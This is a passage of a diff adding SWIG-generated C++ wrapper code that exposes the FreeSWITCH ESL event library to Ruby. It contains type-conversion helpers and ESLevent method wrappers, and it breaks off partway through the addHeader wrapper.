+  /* create and store the structure pointer to a global variable */
+  swig_runtime_data_type_pointer = Data_Wrap_Struct(cl, 0, 0, pointer);
+  rb_define_readonly_variable("$swig_runtime_data_type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME, &swig_runtime_data_type_pointer);
+}
+
+/* This function can be used to check whether a proc or method or similarly
+   callable function has been passed.  Usually used in a %typecheck, like:
+
+   %typecheck(c_callback_t, precedence=SWIG_TYPECHECK_POINTER) {
+        $result = SWIG_Ruby_isCallable( $input );
+   }
+ */
+SWIGINTERN
+int SWIG_Ruby_isCallable( VALUE proc )
+{
+  if ( rb_respond_to( proc, swig_call_id ) == Qtrue )
+    return 1;
+  return 0;
+}
+
+/* This function can be used to check the arity (number of arguments)
+   a proc or method can take.  Usually used in a %typecheck.
+   Valid arities will be that equal to minimal or those < 0
+   which indicate a variable number of parameters at the end.
+ */
+SWIGINTERN
+int SWIG_Ruby_arity( VALUE proc, int minimal )
+{
+  if ( rb_respond_to( proc, swig_arity_id ) == Qtrue )
+    {
+      VALUE num = rb_funcall( proc, swig_arity_id, 0 );
+      int arity = NUM2INT(num);
+      if ( arity < 0 && (arity+1) < -minimal ) return 1;
+      if ( arity == minimal ) return 1;
+      return 1;
+    }
+  return 0;
+}
+
+
+#ifdef __cplusplus
+}
+#endif
+
+
+
+#define SWIG_exception_fail(code, msg) do { SWIG_Error(code, msg); SWIG_fail; } while(0) 
+
+#define SWIG_contract_assert(expr, msg) if (!(expr)) { SWIG_Error(SWIG_RuntimeError, msg); SWIG_fail; } else 
+
+
+
+/* -------- TYPES TABLE (BEGIN) -------- */
+
+#define SWIGTYPE_p_ESLconnection swig_types[0]
+#define SWIGTYPE_p_ESLevent swig_types[1]
+#define SWIGTYPE_p_char swig_types[2]
+#define SWIGTYPE_p_esl_event_t swig_types[3]
+#define SWIGTYPE_p_esl_priority_t swig_types[4]
+static swig_type_info *swig_types[6];
+static swig_module_info swig_module = {swig_types, 5, 0, 0, 0, 0};
+#define SWIG_TypeQuery(name) SWIG_TypeQueryModule(&swig_module, &swig_module, name)
+#define SWIG_MangledTypeQuery(name) SWIG_MangledTypeQueryModule(&swig_module, &swig_module, name)
+
+/* -------- TYPES TABLE (END) -------- */
+
+#define SWIG_init    Init_ESL
+#define SWIG_name    "ESL"
+
+static VALUE mESL;
+
+#define SWIG_RUBY_THREAD_BEGIN_BLOCK
+#define SWIG_RUBY_THREAD_END_BLOCK
+
+
+#define SWIGVERSION 0x010335 
+#define SWIG_VERSION SWIGVERSION
+
+
+#define SWIG_as_voidptr(a) const_cast< void * >(static_cast< const void * >(a)) 
+#define SWIG_as_voidptrptr(a) ((void)SWIG_as_voidptr(*a),reinterpret_cast< void** >(a)) 
+
+
+#include <stdexcept>
+
+
+#include "esl.h"
+#include "esl_oop.h"
+
+
+SWIGINTERN swig_type_info*
+SWIG_pchar_descriptor(void)
+{
+  static int init = 0;
+  static swig_type_info* info = 0;
+  if (!init) {
+    info = SWIG_TypeQuery("_p_char");
+    init = 1;
+  }
+  return info;
+}
+
+
+SWIGINTERN int
+SWIG_AsCharPtrAndSize(VALUE obj, char** cptr, size_t* psize, int *alloc)
+{
+  if (TYPE(obj) == T_STRING) {
+    #if defined(StringValuePtr)
+    char *cstr = StringValuePtr(obj); 
+    #else
+    char *cstr = STR2CSTR(obj);
+    #endif
+    size_t size = RSTRING_LEN(obj) + 1;
+    if (cptr)  {
+      if (alloc) {
+	if (*alloc == SWIG_NEWOBJ) {
+	  *cptr = reinterpret_cast< char* >(memcpy((new char[size]), cstr, sizeof(char)*(size)));
+	} else {
+	  *cptr = cstr;
+	  *alloc = SWIG_OLDOBJ;
+	}
+      }
+    }
+    if (psize) *psize = size;
+    return SWIG_OK;
+  } else {
+    swig_type_info* pchar_descriptor = SWIG_pchar_descriptor();
+    if (pchar_descriptor) {
+      void* vptr = 0;
+      if (SWIG_ConvertPtr(obj, &vptr, pchar_descriptor, 0) == SWIG_OK) {
+	if (cptr) *cptr = (char *)vptr;
+	if (psize) *psize = vptr ? (strlen((char*)vptr) + 1) : 0;
+	if (alloc) *alloc = SWIG_OLDOBJ;
+	return SWIG_OK;
+      }
+    }
+  }  
+  return SWIG_TypeError;
+}
+
+
+
+
+
+SWIGINTERNINLINE VALUE 
+SWIG_FromCharPtrAndSize(const char* carray, size_t size)
+{
+  if (carray) {
+    if (size > LONG_MAX) {
+      swig_type_info* pchar_descriptor = SWIG_pchar_descriptor();
+      return pchar_descriptor ? 
+	SWIG_NewPointerObj(const_cast< char * >(carray), pchar_descriptor, 0) : Qnil;
+    } else {
+      return rb_str_new(carray, static_cast< long >(size));
+    }
+  } else {
+    return Qnil;
+  }
+}
+
+
+SWIGINTERNINLINE VALUE 
+SWIG_FromCharPtr(const char *cptr)
+{ 
+  return SWIG_FromCharPtrAndSize(cptr, (cptr ? strlen(cptr) : 0));
+}
+
+
+#include <limits.h>
+#if !defined(SWIG_NO_LLONG_MAX)
+# if !defined(LLONG_MAX) && defined(__GNUC__) && defined (__LONG_LONG_MAX__)
+#   define LLONG_MAX __LONG_LONG_MAX__
+#   define LLONG_MIN (-LLONG_MAX - 1LL)
+#   define ULLONG_MAX (LLONG_MAX * 2ULL + 1ULL)
+# endif
+#endif
+
+
+SWIGINTERN VALUE
+SWIG_ruby_failed(void)
+{
+  return Qnil;
+} 
+
+
+/*@SWIG:/usr/share/swig/1.3.35/ruby/rubyprimtypes.swg,23,%ruby_aux_method@*/
+SWIGINTERN VALUE SWIG_AUX_NUM2LONG(VALUE *args)
+{
+  VALUE obj = args[0];
+  VALUE type = TYPE(obj);
+  long *res = (long *)(args[1]);
+  *res = type == T_FIXNUM ? NUM2LONG(obj) : rb_big2long(obj);
+  return obj;
+}
+/*@SWIG@*/
+
+SWIGINTERN int
+SWIG_AsVal_long (VALUE obj, long* val)
+{
+  VALUE type = TYPE(obj);
+  if ((type == T_FIXNUM) || (type == T_BIGNUM)) {
+    long v;
+    VALUE a[2];
+    a[0] = obj;
+    a[1] = (VALUE)(&v);
+    if (rb_rescue(RUBY_METHOD_FUNC(SWIG_AUX_NUM2LONG), (VALUE)a, RUBY_METHOD_FUNC(SWIG_ruby_failed), 0) != Qnil) {
+      if (val) *val = v;
+      return SWIG_OK;
+    }
+  }
+  return SWIG_TypeError;
+}
+
+
+SWIGINTERN int
+SWIG_AsVal_int (VALUE obj, int *val)
+{
+  long v;
+  int res = SWIG_AsVal_long (obj, &v);
+  if (SWIG_IsOK(res)) {
+    if ((v < INT_MIN || v > INT_MAX)) {
+      return SWIG_OverflowError;
+    } else {
+      if (val) *val = static_cast< int >(v);
+    }
+  }  
+  return res;
+}
+
+
+  #define SWIG_From_long   LONG2NUM 
+
+
+SWIGINTERNINLINE VALUE
+SWIG_From_int  (int value)
+{    
+  return SWIG_From_long  (value);
+}
+
+
+SWIGINTERNINLINE VALUE
+SWIG_From_bool  (bool value)
+{
+  return value ? Qtrue : Qfalse;
+}
+
+swig_class cESLevent;
+
+SWIGINTERN VALUE
+_wrap_ESLevent_event_set(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_event_t *arg2 = (esl_event_t *) 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  void *argp2 = 0 ;
+  int res2 = 0 ;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","event", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  res2 = SWIG_ConvertPtr(argv[0], &argp2,SWIGTYPE_p_esl_event_t, SWIG_POINTER_DISOWN |  0 );
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "esl_event_t *","event", 2, argv[0] )); 
+  }
+  arg2 = reinterpret_cast< esl_event_t * >(argp2);
+  if (arg1) (arg1)->event = arg2;
+  
+  return Qnil;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_event_get(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_event_t *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 0)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","event", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (esl_event_t *) ((arg1)->event);
+  vresult = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_esl_event_t, 0 |  0 );
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_serialized_string_set(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","serialized_string", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char *","serialized_string", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  if (arg1->serialized_string) delete[] arg1->serialized_string;
+  if (arg2) {
+    size_t size = strlen(reinterpret_cast< const char * >(arg2)) + 1;
+    arg1->serialized_string = (char *)reinterpret_cast< char* >(memcpy((new char[size]), reinterpret_cast< const char * >(arg2), sizeof(char)*(size)));
+  } else {
+    arg1->serialized_string = 0;
+  }
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return Qnil;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_serialized_string_get(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 0)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","serialized_string", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (char *) ((arg1)->serialized_string);
+  vresult = SWIG_FromCharPtr((const char *)result);
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_mine_set(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  int arg2 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int val2 ;
+  int ecode2 = 0 ;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","mine", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  ecode2 = SWIG_AsVal_int(argv[0], &val2);
+  if (!SWIG_IsOK(ecode2)) {
+    SWIG_exception_fail(SWIG_ArgError(ecode2), Ruby_Format_TypeError( "", "int","mine", 2, argv[0] ));
+  } 
+  arg2 = static_cast< int >(val2);
+  if (arg1) (arg1)->mine = arg2;
+  
+  return Qnil;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_mine_get(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 0)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","mine", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (int) ((arg1)->mine);
+  vresult = SWIG_From_int(static_cast< int >(result));
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_new_ESLevent__SWIG_0(int argc, VALUE *argv, VALUE self) {
+  char *arg1 = (char *) 0 ;
+  char *arg2 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  int res1 ;
+  char *buf1 = 0 ;
+  int alloc1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  
+  if ((argc < 1) || (argc > 2)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_AsCharPtrAndSize(argv[0], &buf1, NULL, &alloc1);
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "char const *","ESLevent", 1, argv[0] ));
+  }
+  arg1 = reinterpret_cast< char * >(buf1);
+  if (argc > 1) {
+    res2 = SWIG_AsCharPtrAndSize(argv[1], &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","ESLevent", 2, argv[1] ));
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+  }
+  result = (ESLevent *)new ESLevent((char const *)arg1,(char const *)arg2);DATA_PTR(self) = result;
+  
+  if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return self;
+fail:
+  if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_new_ESLevent__SWIG_1(int argc, VALUE *argv, VALUE self) {
+  esl_event_t *arg1 = (esl_event_t *) 0 ;
+  int arg2 = (int) 0 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int val2 ;
+  int ecode2 = 0 ;
+  
+  if ((argc < 1) || (argc > 2)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(argv[0], &argp1,SWIGTYPE_p_esl_event_t, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "esl_event_t *","ESLevent", 1, argv[0] )); 
+  }
+  arg1 = reinterpret_cast< esl_event_t * >(argp1);
+  if (argc > 1) {
+    ecode2 = SWIG_AsVal_int(argv[1], &val2);
+    if (!SWIG_IsOK(ecode2)) {
+      SWIG_exception_fail(SWIG_ArgError(ecode2), Ruby_Format_TypeError( "", "int","ESLevent", 2, argv[1] ));
+    } 
+    arg2 = static_cast< int >(val2);
+  }
+  result = (ESLevent *)new ESLevent(arg1,arg2);DATA_PTR(self) = result;
+  
+  return self;
+fail:
+  return Qnil;
+}
+
+
+#ifdef HAVE_RB_DEFINE_ALLOC_FUNC
+SWIGINTERN VALUE
+_wrap_ESLevent_allocate(VALUE self) {
+#else
+  SWIGINTERN VALUE
+  _wrap_ESLevent_allocate(int argc, VALUE *argv, VALUE self) {
+#endif
+    
+    
+    VALUE vresult = SWIG_NewClassInstance(self, SWIGTYPE_p_ESLevent);
+#ifndef HAVE_RB_DEFINE_ALLOC_FUNC
+    rb_obj_call_init(vresult, argc, argv);
+#endif
+    return vresult;
+  }
+  
+
+SWIGINTERN VALUE
+_wrap_new_ESLevent__SWIG_2(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(argv[0], &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","ESLevent", 1, argv[0] )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (ESLevent *)new ESLevent(arg1);DATA_PTR(self) = result;
+  
+  return self;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE _wrap_new_ESLevent(int nargs, VALUE *args, VALUE self) {
+  int argc;
+  VALUE argv[2];
+  int ii;
+  
+  argc = nargs;
+  if (argc > 2) SWIG_fail;
+  for (ii = 0; (ii < argc); ++ii) {
+    argv[ii] = args[ii];
+  }
+  if ((argc >= 1) && (argc <= 2)) {
+    int _v;
+    void *vptr = 0;
+    int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_esl_event_t, 0);
+    _v = SWIG_CheckState(res);
+    if (_v) {
+      if (argc <= 1) {
+        return _wrap_new_ESLevent__SWIG_1(nargs, args, self);
+      }
+      {
+        int res = SWIG_AsVal_int(argv[1], NULL);
+        _v = SWIG_CheckState(res);
+      }
+      if (_v) {
+        return _wrap_new_ESLevent__SWIG_1(nargs, args, self);
+      }
+    }
+  }
+  if (argc == 1) {
+    int _v;
+    void *vptr = 0;
+    int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_ESLevent, 0);
+    _v = SWIG_CheckState(res);
+    if (_v) {
+      return _wrap_new_ESLevent__SWIG_2(nargs, args, self);
+    }
+  }
+  if ((argc >= 1) && (argc <= 2)) {
+    int _v;
+    int res = SWIG_AsCharPtrAndSize(argv[0], 0, NULL, 0);
+    _v = SWIG_CheckState(res);
+    if (_v) {
+      if (argc <= 1) {
+        return _wrap_new_ESLevent__SWIG_0(nargs, args, self);
+      }
+      int res = SWIG_AsCharPtrAndSize(argv[1], 0, NULL, 0);
+      _v = SWIG_CheckState(res);
+      if (_v) {
+        return _wrap_new_ESLevent__SWIG_0(nargs, args, self);
+      }
+    }
+  }
+  
+fail:
+  Ruby_Format_OverloadedError( argc, 2, "ESLevent.new", 
+    "    ESLevent.new(char const *type, char const *subclass_name)\n"
+    "    ESLevent.new(esl_event_t *wrap_me, int free_me)\n"
+    "    ESLevent.new(ESLevent *me)\n");
+  
+  return Qnil;
+}
+
+
+SWIGINTERN void
+free_ESLevent(ESLevent *arg1) {
+    delete arg1;
+}
+
+SWIGINTERN VALUE
+_wrap_ESLevent_serialize(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) NULL ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","serialize", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  if (argc > 0) {
+    res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","serialize", 2, argv[0] ));
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+  }
+  result = (char *)(arg1)->serialize((char const *)arg2);
+  vresult = SWIG_FromCharPtr((const char *)result);
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_setPriority(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_priority_t arg2 = (esl_priority_t) ESL_PRIORITY_NORMAL ;
+  bool result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  void *argp2 ;
+  int res2 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","setPriority", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  if (argc > 0) {
+    {
+      res2 = SWIG_ConvertPtr(argv[0], &argp2, SWIGTYPE_p_esl_priority_t,  0 );
+      if (!SWIG_IsOK(res2)) {
+        SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "esl_priority_t","setPriority", 2, argv[0] )); 
+      }  
+      if (!argp2) {
+        SWIG_exception_fail(SWIG_ValueError, Ruby_Format_TypeError("invalid null reference ", "esl_priority_t","setPriority", 2, argv[0]));
+      } else {
+        arg2 = *(reinterpret_cast< esl_priority_t * >(argp2));
+      }
+    }
+  }
+  result = (bool)(arg1)->setPriority(arg2);
+  vresult = SWIG_From_bool(static_cast< bool >(result));
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_getHeader(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","getHeader", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","getHeader", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (char *)(arg1)->getHeader((char const *)arg2);
+  vresult = SWIG_FromCharPtr((const char *)result);
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_getBody(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 0)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","getBody", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (char *)(arg1)->getBody();
+  vresult = SWIG_FromCharPtr((const char *)result);
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_getType(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 0)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","getType", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (char *)(arg1)->getType();
+  vresult = SWIG_FromCharPtr((const char *)result);
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_addBody(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  bool result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","addBody", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","addBody", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (bool)(arg1)->addBody((char const *)arg2);
+  vresult = SWIG_From_bool(static_cast< bool >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLevent_addHeader(int argc, VALUE *argv, VALUE self) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  bool result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 2) || (argc > 2)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 2)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLevent *","addHeader", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","addHeader", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  res3 = SWIG_AsCharPtrAndSize(argv[1], &buf3, NULL, &alloc3);
+  if (!SWIG_IsOK(res3)) {
+    SWIG_exception_fail(SWIG_ArgError(res3), Ruby_Format_TypeError( "", "char const *","addHeader", 3, argv[1] ));
+  }
+  arg3 = reinterpret_cast< char * >(buf3);
+  result = (bool)(arg1)->addHeader((char const *)arg2,(char const *)arg3);
+  vresult = SWIG_From_bool(static_cast< bool >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return vresult;
+fail:
